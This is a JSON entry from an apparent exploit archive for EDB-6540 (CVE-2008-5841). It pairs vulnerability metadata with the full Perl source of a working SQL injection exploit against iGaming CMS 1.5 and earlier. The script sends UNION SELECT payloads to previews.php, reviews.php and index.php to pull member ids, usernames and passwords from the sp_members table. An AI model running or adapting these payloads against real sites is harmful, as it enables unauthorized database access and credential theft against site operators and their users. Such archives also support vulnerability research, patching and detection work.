{"exploit":{"id":"EDB-6540","name":"iGaming CMS 1.5 - Multiple SQL Injections (SQLi)","description":"iGaming CMS 1.5 - Multiple SQL Injections (SQLi)","cves":["CVE-2008-5841"],"author":"StAkeR","published":"2008-09-23","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/6540","path":"exploits/php/webapps/6540.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-6540.pl","vulnerabilities":[{"id":"CVE-2008-5841","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple SQL injection vulnerabilities in iGaming 1.5 and earlier allow remote attackers to execute arbitrary SQL commands via the browse parameter to (1) previews.php and (2) reviews.php, and the (3) id parameter to index.php in a viewarticle action.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-5841","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-5841"},"updatedAt":"2024-08-07T11:04:44.595Z","retrievedAt":"2026-11-26T14:07:43.961Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-6540.png?v=2","url":"https://exploitbin.com/exploits/EDB-6540","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-6540/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-6540/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n# ----------------------------------------------------------\n# iGaming <= 1.5 Multiple Remote SQL Injection Exploit\n# Perl Exploit - Output: id:admin:password\n# Discovered On: 23/09/2008\n# Discovered By: StAkeR - StAkeR[at]hotmail[dot]it\n# Proud To Be Italian\n# ----------------------------------------------------------\n# Usage: perl exploit.pl http://localhost/iGaming\n# ----------------------------------------------------------\n\nuse strict;\nuse LWP::UserAgent;\n\nmy ($one,$two,$exec,$host,$http,$xxx,$view);\n\n$view  = \"'%20union%20select%200,0,1,2,concat(0x25,id,0x3a,pseudo,0x3a,pass,0x25),0,6,7,8%20from%20sp_members%20WHERE%20id='1/*\";\n$exec  = \"'%20union%20select%201,concat(0x25,id,0x3a,pseudo,0x3a,pass,0x25),3%20from%20sp_members%20where%20id='1/*\";\n$host = shift @ARGV;\n$http = new LWP::UserAgent or die $!;\n$http->agent(\"Mozilla/4.5 [en] (Win95; U)\");\n$http->timeout(1);\n\n\nif($host !~ /^http:\\/\\/(.+?)$/)\n{\n  print \"[?] iGaming CMS <= 1.5 Multiple Remote SQL Injection Exploit\\n\";\n  print \"[?] Usage: perl $0 http://[path]\\n\";\n  exit;\n}\nelse\n{\n  $one = $http->get($host.'/previews.php?browse='.$exec);\n  $two = $http->get($host.'/reviews.php?browse='.$exec);\n  $xxx = $http->get($host.'/index.php?do=viewarticle&id='.$view);\n\n  if($one->is_success or $two->is_success or $xxx->is_success)\n  {\n    die \"$1\\n\" if $one->content =~ /%(.+?)%/;\n    die \"$1\\n\" if $two->content =~ /%(.+?)%/;\n    die \"$1\\n\" if $xxx->content =~ /%(.+?)%/;\n  }\n  else\n  {\n    die \"[+] Exploit Failed!\\n\";\n  }\n}\n\n# milw0rm.com [2008-09-23]","sha256":"8505ccb23de776e6bef561d5dda3a2a1ee748b87191de141121a483fbfbfb7a1","bytes":1540,"fetchedAt":"2026-11-26T14:07:41.333Z","encoding":"utf-8 (display only; download retains original bytes)"}